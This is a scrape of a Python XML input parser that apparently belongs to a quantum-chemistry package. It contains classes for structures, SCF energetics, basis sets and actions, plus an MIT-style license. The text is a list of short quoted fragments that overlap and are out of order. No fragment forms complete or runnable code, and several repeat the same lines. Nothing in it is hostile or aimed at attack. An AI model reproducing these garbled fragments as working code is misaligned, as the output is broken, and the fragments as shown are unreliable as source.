"\\ argument_type.startswith(\"float\") or \\ argument_type.startswith(\"double\") # try to evaluate the",
"= atom.find('x') if (x is not None): result[0] = float(x.text)",
"elif (len(xyz_text) == 4): types.append(self.get_atom_type(xyz_text[0])) charges.append(self.get_atom_charge(xyz_text[0])) xyz_coord[0] = float(xyz_text[1]) xyz_coord[1]",
"to input-output dictionary 'arguments_values'. \"\"\" if 'abbreviation' in self.definition.attrib: abbreviation",
"function converts the values of the parameters to a form",
"has value that is not 0, in that case #",
"using the \"*_input\"-format definition = self.definition.find('{}_input'.format(tag.tag)) # if the input",
"except: raise Exception(\"Bad form of array, should have a list",
"or child named 'path' and/or 'extends_path'. \"\"\" if self.root is",
"as it calls 'parse' for all found children in '_parse_children'",
"type(self) == type(other) \\ and self.definition.attrib['name'] == other.definition.attrib['name'] def children_are_equal(self,",
"xyz_text = xyz.text.strip().split(\" \") if (len(xyz_text) == 4): atom_type =",
"if children of 'self' and 'other' are equal with definition",
"'Mg':12, 'Al':13, 'Si':14, 'P':15, 'S':16, 'Cl':17, 'Ar':18} def read_input(self): charge",
"Check if the parameter value is None. If the value",
"of root xml-tag 'root' and store them as children in",
"and value_text == option.attrib['text_value']: return option.attrib['value'] else: valid_options += (\"{}:",
"definition. \"\"\" value = InputXML.read_tag_or_attribute_value(self.root, parameter_definition.attrib['name']) # if value is",
"= InputXML.read_tag_or_attribute_value(self.root, parameter_definition.attrib['name']) # if value is not found at",
"not within allowed options: {} '.format(value_text, parameter_definition.attrib['name'], valid_options)) def get_root_object(self):",
"directory = directory) else: if tag.tag == 'settings': child =",
"complete_path = os.path.join(directory, path_text) else: complete_path = path_text # check",
"'other' are equal \"\"\" for parameter_name in self.parameter_values: if not",
"type(self) != type(other): raise InputProgrammingError(\"The objects compared with parameter_values_are_equal\"+ \"",
"if the path exists if not os.path.exists(directory_path): raise Exception(\"Error: '{}'",
"value > float(maxval): sys.exit('Error: argument with name {} and value",
"are not found in the input file, just to #",
"if is_number: result = [0] * size else: result =",
"read_array_values(self, value_text, argument_type): is_number = argument_type.startswith(\"int\") or \\ argument_type.startswith(\"float\") or",
"None): result[0] = float(x.text) y = atom.find('y') if (y is",
"not given.\") self.retrieve() def prepare(self): \"\"\" Prepare the input to",
"= None, counter_present = False): \"\"\" This function converts the",
"as dict try: dictionary = ast.literal_eval(\"{\"+ value_text +\"}\") size =",
"'self' if hasattr(self, 'extends_roots') and self.extends_roots is not None\\ and",
"and the default # value of the parameter is not",
"hereby granted, free of charge, to any person obtaining a",
"* * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY",
"exist\".format(filename)) else: self.root = None self.parent_object = parent_object if directory",
"definition = definition, input_object = tag, directory = directory) self.children.append(child)",
"are equal \"\"\" for parameter_name in self.parameter_values: if not self.parameter_values_are_equal(other,",
"value = str(value_text) else: value = str(value_text) elif argument_type.startswith('bool'): if",
"if value is not found at root, then use the",
"\\ os.path.join(self.parameter_values['output_folder'], \"structure.xml\") # if structure file exists, parse it",
"OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE",
"is not None: complete_path = os.path.join(original_directory, path_text) else: complete_path =",
"None\\ and hasattr(self, 'extends_directories') and self.extends_directories is not None: for",
"extends_root in self.extends_roots: value = InputXML.read_tag_or_attribute_value(extends_root, parameter_definition.attrib['name']) # if value",
"tag_type = 'input' definition_tag = 'input_definition' def __init__(self, filename =",
"if SettingsGenerator.has_options(parameter_definition): value_text = self.get_option_value(value_text, parameter_definition) if SettingsGenerator.is_array(parameter_definition): if value_text",
"= InputXML.read_tag_or_attribute_value(self.root, 'path') # try to retrieve the content from",
"Compare the values of parameter with name 'parameter_name' for two",
"if argument_type.startswith('int'): value[i] = int(arg) if argument_type.startswith('float'): value[i] = float(arg)",
"size if is_number: result = [0] * size else: result",
"'original_directory' and validate that it exists. Returns the new path.",
"name and fills it to the correct place \"\"\" for",
"0-starting result[key-1] = dictionary[key] except: try: result = ast.literal_eval(\"[\"+ value_text",
"= int(arg) if argument_type.startswith('float'): value[i] = float(arg) if argument_type.startswith('double'): value[i]",
"root # and set it as the input scf energetics",
"if self.get_parameter_value(parameter_name) == 0: tagtype = parameter_name[:parameter_name.rfind('_')] name_tag_found = tagtype+\"_name\"",
"tag_type = 'settings' definition_tag = 'settings_input' class StructureXML(InputXML): tag_type =",
"stored to 'self.child_definitions' and 'self.parameter_definitions', respectively. User must note that",
"is_number: result = [0] * size else: result = [None]",
"= BasisSetXML(parent_object = self, definition = definition, input_object = tag,",
"parameter definition for parameter name 'parameter_name'. \"\"\" for parameter_definition in",
"is not None): xyz_lines = xyz.text.splitlines() for xyz in xyz_lines:",
"float(xyz_text[1]) xyz_coord[1] = float(xyz_text[2]) xyz_coord[2] = float(xyz_text[3]) coordinates.append(xyz_coord) else: sys.exit(\"Error:",
"os.path.dirname(complete_path) # check if the path exists if not os.path.exists(directory_path):",
"'Si':14, 'P':15, 'S':16, 'Cl':17, 'Ar':18} def read_input(self): charge = self.root.find('charge')",
"else: new_shape = (shape[0]+1) new_array = numpy.empty(new_shape, order='F') if len(shape)",
"first for parameter_definition in self.definition.findall('parameter'): if SettingsGenerator.is_valid_parameter(parameter_definition): self.set_parameter_value(parameter_definition, self.read_parameter_value(parameter_definition)) self.parameter_definitions[parameter_definition.attrib['name']]",
"tagtype = parameter_name[:parameter_name.rfind('_')] name_tag_found = tagtype+\"_name\" in self.parameter_values if name_tag_found:",
"elif argument_type.startswith('bool'): if value_text.lower() == 'false': value = False elif",
"return option.attrib['value'] else: valid_options += (\"{}: {} \".format(option.attrib['value'], option.attrib['text_value'])) sys.exit('Error:",
"self.parameter_definitions[parameter_name] for child in self.children: if 'global_index_counter' in child.definition.attrib or",
"temp_array[:] argument_values[argument_key] = new_array elif argument_values[argument_key] is None: del argument_values[argument_key]",
"= True # if not, the children cannot be equal",
"for parameter_definition in self.definition.findall('parameter'): if SettingsGenerator.is_valid_parameter(parameter_definition): self.set_parameter_value(parameter_definition, self.read_parameter_value(parameter_definition)) self.parameter_definitions[parameter_definition.attrib['name']] =",
"replaces relative paths with non-relative ones \"\"\" for parameter_name in",
"child.get_interface_argument_values(argument_values, parameter_definitions, abbreviation = abbreviation, counter_present = counter_present) # if",
"of same type as other \"\"\" return type(self) == type(other)",
"\".format(option.attrib['value'], option.attrib['text_value'])) sys.exit('Error: The value \"{}\" for argument with name",
"= self.directory while path_text is not None: # try to",
"= float(xyz_text[2]) xyz_coord[2] = float(xyz_text[3]) coordinates.append(xyz_coord) else: sys.exit(\"Error: Too many",
"some special attention: if parameter_definitions[argument_key].attrib['type'].startswith('string') and type(argument_values[argument_key]) == list: temp",
"# if value is not found at root, then use",
"= definition.getroot() else: sys.exit(\"Input definition filename does not exist: {}\".format(definition_filename))",
"if not os.path.exists(directory_path): raise Exception(\"Error: '{}' tag path '{}' does",
"= counter_present) # if we are at the root, convert",
"name '{}'. Ignoring.\".format(tag.tag)) continue else: child = InputXML(parent_object = self,",
"self.set_parameter_value(structure_id_definition, structure.id) class BasisSetXML(InputXML): tag_type = 'basis_set' definition_tag = 'basis_set_input'",
"read_parameter_value(self, parameter_definition): \"\"\" Read the value of the parameter first",
"value[i] = bool(arg) except ValueError: sys.exit('Error: parameter with type \\'{}\\'",
"= ET.parse(complete_path) return tree.getroot() else: raise Exception(\"Error: '{}' tag path",
"be changed to a list array_values = self.read_array_values(value_text, argument_type) #",
"the corresponding objects to the tree \"\"\" if 'output_folder' in",
"is not None: self.definition = definition elif definition_filename is not",
"get_tagid_for_name(self, tagtype, name): if self.parent_object is not None: for child",
"definition_filename is not None: if os.path.exists(definition_filename): definition = ET.parse(definition_filename) self.definition",
"value = None if root is not None: tag =",
"allowed value: {}', parameter_definition.attrib['name'], value, float(minval)) if 'maxval' in parameter_definition.attrib:",
"right data type and check that it is valid final_value",
"find the correct definition tag by using the \"*_input\"-format definition",
"self.parameter_values: if parameter_name in ['output_folder', 'input_folder', 'folder_path']: if self.parameter_values[parameter_name] is",
"name 'parameter_name'. \"\"\" for parameter_definition in self.definition.findall('parameter'): if parameter_definition.attrib['name'] ==",
"self.parameter_values: if parameter_name.endswith(\"_id\"): # check if the tag has value",
"is not None: for i, extends_root in enumerate(self.extends_roots): self._parse_children(extends_root, self.extends_directories[i])",
"definition = definition, input_object = tag, directory = directory) elif",
"form suitable for the Fortran interface. The converted values are",
"except Exception as e: sys.exit(str(e)) # prepare for the next",
"or type(self_value[i]) == numpy.float64 or type(self_value[i]) == numpy.float32 or type(self_value[i])",
"= structure.retrieve_path(structure_filename, structure.directory) root_object.children.append(structure) root_object.child_definitions.append('structure') root_object.add_counters(structure) structure.parse() structure_id_definition = self.get_parameter_definition('structure_id')",
"Fortran interface. The converted values are stored to input-output dictionary",
"is not present in the input file, and the default",
"the parameters to a form suitable for the Fortran interface.",
"in enumerate(self.root.findall('atom')): self.read_atom_coordinates_and_type(atom) # then read atoms in 'atoms' tags",
"= self.add_counter_value(child.definition.attrib['counters']) if not success: print(\"Warning: Adding counter {} failed.",
"# prepare for the next loop by getting the next",
"# if scf energetics file exists, parse it and add",
"elif self_value[i] != other_value[i]: return False return True else: return",
"[] # handle the parameters first for parameter_definition in self.definition.findall('parameter'):",
"in self.definition.findall('class'): if definition_tag.attrib['name'] == tag.tag: definition = definition_tag definition_found",
"else: if self.parent_object is not None: return self.parent_object.get_counter_value(counter_name) else: return",
"through all the children and check if there is equal",
"class SettingsXML(InputXML): tag_type = 'settings' definition_tag = 'settings_input' class StructureXML(InputXML):",
"coordinates in 'atoms'->'xyz' -line.\") self.coordinates.extend(coordinates) self.types.extend(types) self.charges.extend(charges) if __name__ ==",
"extends roots if value is None and hasattr(self, 'extends_roots') and",
"enumerate(self.root.findall('atoms')): self.read_atoms_coordinates_and_types(atoms) def read_atom_coordinates_and_type(self, atom): result = [0.0, 0.0, 0.0]",
"if all parameter values of 'self' and 'other' are equal",
"TO THE WARRANTIES OF MERCHANTABILITY, * * FITNESS FOR A",
"atoms in 'atoms' tags for i, atoms in enumerate(self.root.findall('atoms')): self.read_atoms_coordinates_and_types(atoms)",
"copies or substantial portions of the Software. * * *",
"len(sys.argv) <= 1: print(\"Give the input file name as an",
"scf_energetics.retrieve_path(scf_energetics_filename, scf_energetics.directory) root_object.children.append(scf_energetics) root_object.child_definitions.append('scf_energetics') root_object.add_counters(scf_energetics) scf_energetics.parse() scf_energetics_id_definition = self.get_parameter_definition('scf_energetics_id') self.set_parameter_value(scf_energetics_id_definition,",
"InputProgrammingError is raised. \"\"\" if hasattr(self, 'parameter_values') and parameter_name in",
"parameter_definition): \"\"\" Read the value of the parameter first from",
"tagtype+\"_name\" in self.parameter_values if name_tag_found: name = self.parameter_values[tagtype+\"_name\"] if name",
"if value < float(minval): sys.exit('Error: argument with name {} and",
"equal with each other \"\"\" return self.is_of_same_type_as(other)\\ and self.all_parameter_values_are_equal(other)\\ and",
"handle_folders(self): \"\"\" Creates missing folders and replaces relative paths with",
"elif len(shape) == 2: new_array[:, :shape[1]] = temp_array[:, :] else:",
"root, then use the value from extends roots if value",
"classes to 'self.children' and the parameter values to 'self.parameter_values'. The",
"extra slashes and dots self.parameter_values[parameter_name] = os.path.normpath(path) # if the",
"input_object = tag, directory = directory) elif tag.tag == 'basis_set':",
"is equal for other_child in other.children: if child == other_child:",
"the indexing from the 1-starting to 0-starting result[key-1] = dictionary[key]",
"as an input.\") else: inp = InputXML(filename = sys.argv[1], definition_filename",
"- other_value[i]) > 1e-10: return False elif self_value[i] != other_value[i]:",
"not None): xyz_lines = xyz.text.splitlines() for xyz in xyz_lines: xyz_text",
"and add as a child of the root # and",
"from .generate_objects import SettingsGenerator from collections import OrderedDict class InputProgrammingError(Exception):",
"self.parent_object is not None: definition = self.parent_object.definition.find(self.definition_tag) if definition is",
"float(arg) if argument_type.startswith('string'): if SettingsGenerator.generate_fortran(parameter_definition): value[i] = str(arg) else: value[i]",
"'parse' for all found children in '_parse_children' calls. \"\"\" self.parameter_values",
"WARRANTY OF ANY KIND, EXPRESS OR * * IMPLIED, INCLUDING",
"== 'structure': child = StructureXML(parent_object = self, definition = definition,",
"return -1 def set_parameter_value(self, parameter_definition, value): \"\"\" Set an arbitrary",
"InputXML(parent_object = self, definition = definition, input_object = tag, directory",
"The corresponding definitions are stored to 'self.child_definitions' and 'self.parameter_definitions', respectively.",
"self.is_of_same_type_as(other)\\ and self.all_parameter_values_are_equal(other)\\ and self.children_are_equal(other) def __ne__(self, other): return not",
"found, try to find the definition from # the '<class>'-tags",
"NO EVENT SHALL THE * * AUTHORS OR COPYRIGHT HOLDERS",
"return kwargs def form_new_directory_path(self, path_text, original_directory = None): \"\"\" Creates",
"elif argument_type.startswith('int'): value = int(value_text) elif argument_type.startswith('float'): value = float(value_text)",
"self.parent_object is None: return self else: return self.parent_object.get_root_object() class SCFEnergeticsXML(InputXML):",
"'global_index_counter' in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['global_index_counter']) if not success: print(\"Warning:",
"in the 'self'. Note: this function is a subfunctionality of",
"\"\"\" Parse children of root xml-tag 'root' and store them",
"InputXML.read_tag_or_attribute_value(self.root, 'path') # try to retrieve the content from path_text",
"== 3: new_array[:, :, :shape[2]] = temp_array[:, :, :] elif",
"same type if type(self) != type(other): raise InputProgrammingError(\"The objects compared",
"if 'counters' in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['counters']) if not success:",
"valid\", parameter_definition.attrib['name']) # if the object has extends_root, then parse",
"else: raise InputProgrammingError(\"Accessed parameter: '{}' is not in the values",
"attribute or child with # name 'path' path_text = InputXML.read_tag_or_attribute_value(self.root,",
"is: {}.\".format(value_text)) return result def convert_argument_value(self, value_text, parameter_definition): argument_type =",
"tag, directory = directory) elif tag.tag == 'structure': child =",
"= InputXML(parent_object = self, definition = definition, input_object = tag,",
"# read coordinates and atom types self.coordinates = [] self.types",
"Reads the value of a tag or attribute with name",
"else: new_array[:shape[0]] = temp_array[:] argument_values[argument_key] = new_array elif argument_values[argument_key] is",
"input to have all things required to call the Fortran",
"in self.parent_object.children: if hasattr(child, 'tag_type') and child.tag_type == tagtype and",
"child = SCFEnergeticsXML(parent_object = self, definition = definition, input_object =",
"return self else: return self.parent_object.get_root_object() class SCFEnergeticsXML(InputXML): tag_type = 'scf_energetics'",
"name \\'{}\\' has invalid value: \\'{}\\''.format(argument_type, parameter_definition.attrib['name'], value_text)) else: try:",
"finding the value if self.get_parameter_value(parameter_name) == 0: tagtype = parameter_name[:parameter_name.rfind('_')]",
"[] directory = self.directory while path_text is not None: #",
"parameter_definition.attrib: value = parameter_definition.attrib['default'] return value def get_parameter_value(self, parameter_name): \"\"\"",
"if parameter_definition.attrib['name'] == 'name': self.name = self.parameter_values['name'] else: print(\"PARAMETER is",
"value that is not 0, in that case # we",
"coordinates in 'atom' tags for i, atom in enumerate(self.root.findall('atom')): self.read_atom_coordinates_and_type(atom)",
"file name as an input.\") else: inp = InputXML(filename =",
"os.path.join(self.parameter_values['output_folder'], \"scf_energetics.xml\") root_object = self.get_root_object() # if scf energetics file",
"if os.path.exists(complete_path): tree = ET.parse(complete_path) return tree.getroot() else: raise Exception(\"Error:",
"= parameter_definition.attrib['default'] return value def get_parameter_value(self, parameter_name): \"\"\" Get the",
"the parsing of the input array (could also be a",
"parameter with name 'parameter_name' for two objects of the same",
"\"\"\" Finds the id for each parameter where reference is",
"parameter_name in self.parameter_values: if parameter_name.endswith(\"_id\"): # check if the tag",
"self.parameter_values[counter_name] = 0 self.parameter_values[counter_name] += 1 return True else: if",
"'path' and/or 'extends_path'. \"\"\" if self.root is not None: #",
"restriction, including without limitation the rights * * to use,",
"# check if current tag has an attribute or child",
"None: if argument_key in argument_values and argument_values[argument_key] is not None:",
"a dictionary, value is: {}.\".format(value_text)) return result def convert_argument_value(self, value_text,",
"not exist\".format(self.tag_type, complete_path)) return directory_path def retrieve_path(self, path_text, directory): \"\"\"",
"(shape[0], shape[1]+1) else: new_shape = (shape[0]+1) new_array = numpy.empty(new_shape, order='F')",
"atom.find('xyz') atom_type = self.read_atom_type(atom) if (xyz is not None): xyz_text",
"found children in '_parse_children' calls. \"\"\" self.parameter_values = OrderedDict() self.parameter_definitions",
"is within given limits self.check_value_range(final_value, parameter_definition) # set the parameter",
"children cannot be equal if not equal_found: return False return",
"calls 'parse' for all found children in '_parse_children' calls. \"\"\"",
"option.attrib and value_text == option.attrib['text_value']: return option.attrib['value'] else: valid_options +=",
"if self.parameter_values[parameter_name] is not None: # convert the non absolute",
"file: '{}' does not exist\".format(filename)) else: self.root = None self.parent_object",
"self.get_parameter_definition('structure_id') self.set_parameter_value(structure_id_definition, structure.id) class BasisSetXML(InputXML): tag_type = 'basis_set' definition_tag =",
"tag has attribute or child named 'path' and/or 'extends_path'. \"\"\"",
"or tag is not found, None is returned. \"\"\" value",
"read_atom_type(self, atom): if 'type' in atom.attrib: return atom.attrib['type'] else: sys.exit(\"Error:",
"charges = [] if (xyz is not None): xyz_lines =",
"for both input objects self_value = self.get_parameter_value(parameter_name) other_value = other.get_parameter_value(parameter_name)",
"return definition def _parse_children(self, root, directory): \"\"\" Parse children of",
"the values of parameter with name 'parameter_name' for two objects",
"tag.tag not in self.parameter_values: # try to find the correct",
"print(\"Warning: Adding counter {} failed. Counter not found.\".format(child.definition.attrib['counters'])) def add_counter_value(self,",
"input_object = None,\\ parent_object = None,\\ definition = None, \\",
"'Ar':18} def read_input(self): charge = self.root.find('charge') # read relative charge",
"\"\"\" self.parameter_values = OrderedDict() self.parameter_definitions = OrderedDict() self.children = []",
"InputXML(parent_object = self, definition = definition_tag) self.children.append(child) child.parse() def handle_folders(self):",
"if self.parent_object is not None: return self.parent_object.add_counter_value(counter_name) else: return False",
"parse(self): super(ActionXML, self).parse() self.handle_output_files() def handle_output_files(self): \"\"\" Reads in the",
"= InputXML(parent_object = self, definition = definition_tag) self.children.append(child) child.parse() def",
"StructureXML(parent_object = root_object, \\ definition = structure_definition) structure.root = structure.retrieve_path(structure_filename,",
"one is not specified if value is None: if 'default'",
"\\'{}\\''.format(argument_type, parameter_definition.attrib['name'], value_text)) return value def check_value_range(self, value, parameter_definition): if",
"\"\"\" if 'abbreviation' in self.definition.attrib: abbreviation = self.definition.attrib['abbreviation'] for parameter_name",
"not os.path.isabs(self.parameter_values[parameter_name]): # join the directory of the file with",
"to whom the Software is * * furnished to do",
"= definition, input_object = tag, directory = directory) else: if",
"True else: value[i] = bool(arg) except ValueError: sys.exit('Error: parameter with",
"self.types.extend(types) self.charges.extend(charges) if __name__ == \"__main__\": if len(sys.argv) <= 1:",
"root, convert the values with type list to numpy arrays",
"shape[2]+1) elif len(shape) == 2: new_shape = (shape[0], shape[1]+1) else:",
"the parameter value self.parameter_values[parameter_definition.attrib['name']] = final_value @staticmethod def read_tag_or_attribute_value(root, name):",
"or 'counters' in child.definition.attrib: counter_present = True if SettingsGenerator.generate_fortran(child.definition): child.get_interface_argument_values(argument_values,",
"= [self.parameter_values[parameter_name]] parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] else: if argument_key not in",
"extending from and thirdly from the default value of the",
"= SettingsXML(parent_object = self, definition = definition, input_object = tag,",
"compared with parameter_values_are_equal\"+ \" are not of same type.\") #",
"self.read_atoms_coordinates_and_types(atoms) def read_atom_coordinates_and_type(self, atom): result = [0.0, 0.0, 0.0] x",
"= 'action_input' def parse(self): super(ActionXML, self).parse() self.handle_output_files() def handle_output_files(self): \"\"\"",
"parameter_name): return False return True def is_of_same_type_as(self, other): \"\"\" Check",
"< float(minval): sys.exit('Error: argument with name {} and value {}",
"is made with name and fills it to the correct",
"= definition_tag) self.children.append(child) child.parse() def handle_folders(self): \"\"\" Creates missing folders",
"= self.get_option_value(value_text, parameter_definition) if SettingsGenerator.is_array(parameter_definition): if value_text is None: value",
"MERCHANTABILITY, * * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.",
"not None): self.root = input_object elif filename is not None:",
"parameter_name): \"\"\" Retrieve the parameter definition for parameter name 'parameter_name'.",
"the values of the parameters to a form suitable for",
"None: return self.parent_object.get_counter_value(counter_name) else: return -1 def set_parameter_value(self, parameter_definition, value):",
"= 'structure' definition_tag = 'structure_input' atom_types = {'H':1, 'He':2, 'Li':3,",
"not None: tag = root.find(name) if tag is not None:",
"parameter_definition.attrib['name'], valid_options)) def get_root_object(self): if self.parent_object is None: return self",
"# check if the tag has value that is not",
"all the children and check if there is equal for",
"Get the value of the parameter from the parsed parameters.",
"parameter first from the values of the XML-element, secondarily from",
"definition = definition_tag) self.children.append(child) child.parse() def handle_folders(self): \"\"\" Creates missing",
"* The above copyright notice and this permission notice shall",
"if SettingsGenerator.is_array(parameter_definition): if value_text is None: value = None else:",
"<NAME>, <NAME>, <NAME>, * * <NAME>, <NAME>, <NAME> * *",
"stored in self.root and self.extends_roots. Stores the found child-xml classes",
"not None: # check if current tag has an attribute",
"argument_values: print(\"Warning: Found two (or more) arguments for the same",
"elif type(argument_values[argument_key]) == list: temp_array = numpy.array(argument_values[argument_key], order='F').T shape =",
"def get_root_object(self): if self.parent_object is None: return self else: return",
"definition = structure_definition) structure.root = structure.retrieve_path(structure_filename, structure.directory) root_object.children.append(structure) root_object.child_definitions.append('structure') root_object.add_counters(structure)",
"'F':9, 'Ne':10, 'Na': 11, 'Mg':12, 'Al':13, 'Si':14, 'P':15, 'S':16, 'Cl':17,",
"the parent objects. \"\"\" if counter_name in self.parameter_values: return self.parameter_values[counter_name]",
"return False def get_counter_value(self, counter_name): \"\"\" Get the value of",
"input_object = tag, directory = directory) self.children.append(child) self.child_definitions.append(tag.tag) self.add_counters(child) child.parse()",
"parent objects. \"\"\" if counter_name in self.parameter_values: return self.parameter_values[counter_name] else:",
"in enumerate(argument_values[argument_key]): temp[:, j] = \"{0:{width}}\".format(argument_values[argument_key][j], width=256) argument_values[argument_key] = numpy.array(temp,",
"= [] # handle the parameters first for parameter_definition in",
"try: self.root = self.retrieve_path(path_text, self.directory) self.directory = self.form_new_directory_path(path_text, self.directory) except",
"if not os.path.isabs(self.parameter_values[parameter_name]): # join the directory of the file",
"if counter_present: # Check if the parameter value is None.",
"child in self.children: if 'global_index_counter' in child.definition.attrib or 'local_index_counter' in",
"== 3: new_shape = (shape[0], shape[1], shape[2]+1) elif len(shape) ==",
"success: print(\"Warning: Adding counter {} failed. Counter not found.\".format(child.definition.attrib['counters'])) def",
"bool(arg) except ValueError: sys.exit('Error: parameter with type \\'{}\\' and name",
"try: self.extends_roots.append(self.retrieve_path(path_text, directory)) self.extends_directories.append(self.form_new_directory_path(path_text, directory)) except Exception as e: sys.exit(str(e))",
"\"\"\" if counter_name in self.parameter_values: return self.parameter_values[counter_name] else: if self.parent_object",
"tag, directory = directory) elif tag.tag == 'action': child =",
"the found child-xml classes to 'self.children' and the parameter values",
"for the object?\") def parameter_values_are_equal(self, other, parameter_name): \"\"\" Compare the",
"= ast.literal_eval(\"[\"+ value_text +\"]\") except: raise Exception(\"Bad form of array,",
"> float(maxval): sys.exit('Error: argument with name {} and value {}",
"to 'self.children' and the parameter values to 'self.parameter_values'. The corresponding",
"to evaluate the molecular orbitals as dict try: dictionary =",
"if os.path.exists(os.path.join(self.directory, structure_filename)): structure_definition = root_object.definition.find('structure_input') structure = StructureXML(parent_object =",
"empty lines if (len(xyz_text) == 1 and xyz_text[0] == \"\"):",
"minval = parameter_definition.attrib['minval'] if value < float(minval): sys.exit('Error: argument with",
"the non absolute paths to absolute ones if not os.path.isabs(self.parameter_values[parameter_name]):",
"'{}' does not exist\".format(filename)) else: self.root = None self.parent_object =",
"def get_counter_value(self, counter_name): \"\"\" Get the value of a counter",
":, :shape[2]] = temp_array[:, :, :] elif len(shape) == 2:",
"file with the input directory path = os.path.join(self.directory, self.parameter_values[parameter_name]) #",
"parent_object = None,\\ definition = None, \\ directory = None):",
"value of the parameter first from the values of the",
"return tree.getroot() else: raise Exception(\"Error: '{}' tag path '{}' does",
"= tag, directory = directory) elif tag.tag == 'action': child",
"as children in the 'self'. Note: this function is a",
"complete_path = path_text directory_path = os.path.dirname(complete_path) # check if the",
"child = InputXML(parent_object = self, definition = definition_tag) self.children.append(child) child.parse()",
"array of size if is_number: result = [0] * size",
"definition_tag = 'action_input' def parse(self): super(ActionXML, self).parse() self.handle_output_files() def handle_output_files(self):",
"the new path. \"\"\" if original_directory is not None: complete_path",
"to and store it to 'parameter_name' atribute of 'self'. \"\"\"",
"'self'. Note: this function is a subfunctionality of function 'parse'",
"name 'counter_name'. If the counter is not found in the",
"def add_counter_value(self, counter_name): \"\"\" Add value of counter parameter with",
"Counter not found.\".format(child.definition.attrib['global_index_counter'])) else: child.id = self.get_counter_value(child.definition.attrib['global_index_counter']) if 'local_index_counter' in",
"init array of size if is_number: result = [0] *",
"in the local object, it is seached from the parent",
"not None: self.definition = definition elif definition_filename is not None:",
"value_text is None: value = None else: # do the",
"for argument with name \"{}\" is not within allowed options:",
"+\"}\") size = max(dictionary.keys()) # init array of size if",
"case # we are not finding the value if self.get_parameter_value(parameter_name)",
"the default # value of the parameter is not specified.",
"'scf_energetics_input' class ActionXML(InputXML): tag_type = 'action' definition_tag = 'action_input' def",
"y = atom.find('y') if (y is not None): result[1] =",
"'self' by one \"\"\" if 'global_index_counter' in child.definition.attrib: success =",
"valid final_value = self.convert_argument_value(value, parameter_definition) # check that value is",
"= abbreviation, counter_present = counter_present) # if we are at",
"\\'{}\\' has invalid value: \\'{}\\''.format(argument_type, parameter_definition.attrib['name'], value_text)) return value def",
"has an attribute or child with # name 'extends_path' path_text",
"= \"{0:{width}}\".format(argument_values[argument_key][j], width=256) argument_values[argument_key] = numpy.array(temp, dtype=\"c\").T elif type(argument_values[argument_key]) ==",
"tagtype and hasattr(child, 'name') and child.name == name: return child.id",
"scf_energetics_filename = \\ os.path.join(self.parameter_values['output_folder'], \"scf_energetics.xml\") root_object = self.get_root_object() # if",
"definition_tag in self.definition.findall('class'): if definition_tag.attrib['name'] not in self.child_definitions: child =",
"for i, arg in enumerate(array_values): if argument_type.startswith('int'): value[i] = int(arg)",
"the iteration if value is not None: break # fall",
"name): \"\"\" Reads the value of a tag or attribute",
"tag path '{}' does not exist\".format(self.tag_type, complete_path)) return directory_path def",
"== 'false': value = False elif value_text.lower() == 'true': value",
"Check if all parameter values of 'self' and 'other' are",
"<NAME>, <NAME> * * * * Permission is hereby granted,",
"child.definition.attrib: success = self.add_counter_value(child.definition.attrib['counters']) if not success: print(\"Warning: Adding counter",
"whom the Software is * * furnished to do so,",
"create it if parameter_name == 'output_folder' and not os.path.exists(self.parameter_values[parameter_name]): os.makedirs(self.parameter_values[parameter_name])",
"return value def read_parameter_value(self, parameter_definition): \"\"\" Read the value of",
"# get the values for both input objects self_value =",
"\"\"\" Get the value of a counter with name 'counter_name'.",
"self.children_are_equal(other) def __ne__(self, other): return not self.__eq__(other) def read_array_values(self, value_text,",
"in atom.attrib: return atom.attrib['type'] else: sys.exit(\"Error: The mandatory attribute 'type'",
"new_array elif argument_values[argument_key] is None: del argument_values[argument_key] def add_counters(self, child):",
"argument_values[argument_key] = self.parameter_values[parameter_name] parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] for child in self.children:",
"Exception(\"Error: '{}' tag path '{}' does not exist\".format(self.tag_type, complete_path)) return",
"child-xml classes to 'self.children' and the parameter values to 'self.parameter_values'.",
"the input file name as an input.\") else: inp =",
"= 'input_definition' def __init__(self, filename = None, \\ definition_filename =",
"atom_type = self.read_atom_type(atom) if (xyz is not None): xyz_text =",
"\".format(parameter_name)+ \\ \"of the object. Have you perfomed 'parse' for",
"else: result = [None] * size for key in dictionary:",
"objects of the same type. \"\"\" # check that the",
"directory directory = self.extends_directories[-1] path_text = InputXML.read_tag_or_attribute_value(self.extends_roots[-1], 'extends_path') def fill_id_values(self):",
"= 'scf_energetics_input' class ActionXML(InputXML): tag_type = 'action' definition_tag = 'action_input'",
"sys.exit(\"Input definition filename does not exist: {}\".format(definition_filename)) elif self.parent_object is",
"== 'true': value = True else: value = bool(arg) except",
"* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR",
"Exception as e: sys.exit(str(e)) # check if current tag has",
"ones if not os.path.isabs(self.parameter_values[parameter_name]): # join the directory of the",
"the root # and set it as the input scf",
"if parameter_name == 'output_folder' and not os.path.exists(self.parameter_values[parameter_name]): os.makedirs(self.parameter_values[parameter_name]) for child",
"the next loop by getting the next extends path and",
"= float(xyz_text[1]) result[1] = float(xyz_text[2]) result[2] = float(xyz_text[3]) else: sys.exit(\"Error:",
"= self.parameter_values[parameter_name] parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] for child in self.children: if",
"'action' definition_tag = 'action_input' def parse(self): super(ActionXML, self).parse() self.handle_output_files() def",
"abbreviation, counter_present = counter_present) # if we are at the",
"child.definition.attrib or 'local_index_counter' in child.definition.attrib or 'counters' in child.definition.attrib: counter_present",
"else: sys.exit(\"Definition tag '{}' not found from parent definition tree\",",
"the same parameter: {}\".format(argument_key)) else: argument_values[argument_key] = self.parameter_values[parameter_name] parameter_definitions[argument_key] =",
"by using the \"*_input\"-format definition = self.definition.find('{}_input'.format(tag.tag)) # if the",
"self.directory while path_text is not None: # try to retrieve",
"other.get_parameter_value(parameter_name) if isinstance(self_value, list) or isinstance(self_value, numpy.ndarray): if len(self_value) !=",
"parameter_values_are_equal(self, other, parameter_name): \"\"\" Compare the values of parameter with",
"the Software, and to permit persons to whom the Software",
"directory = None): if (input_object is not None): self.root =",
"parameters. If the parameter is not found an InputProgrammingError is",
"* * * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT",
"if 'default' in parameter_definition.attrib: value = parameter_definition.attrib['default'] return value def",
